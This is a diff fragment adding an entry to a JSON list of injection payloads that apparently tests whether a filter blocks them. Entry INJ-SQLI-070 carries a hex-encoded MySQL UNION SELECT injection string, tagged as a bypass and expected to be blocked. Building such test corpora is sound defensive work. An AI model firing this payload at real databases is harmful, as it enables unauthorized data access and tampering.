+ "category": "Injection"
671
+ },
672
+ {
673
+ "id": "INJ-SQLI-070",
674
+ "payload": "' UNION SELECT 0x3c3f706870,1,1--",
675
+ "tags": ["hex-encoding", "mysql", "bypass"],
676
+ "expected_block": true,
677
+ "severity_hint": "Critical",
678
+ "notes": "MySQL hex-encoded payload",
679
+ "category": "Injection"
680
+ }
681
+ ]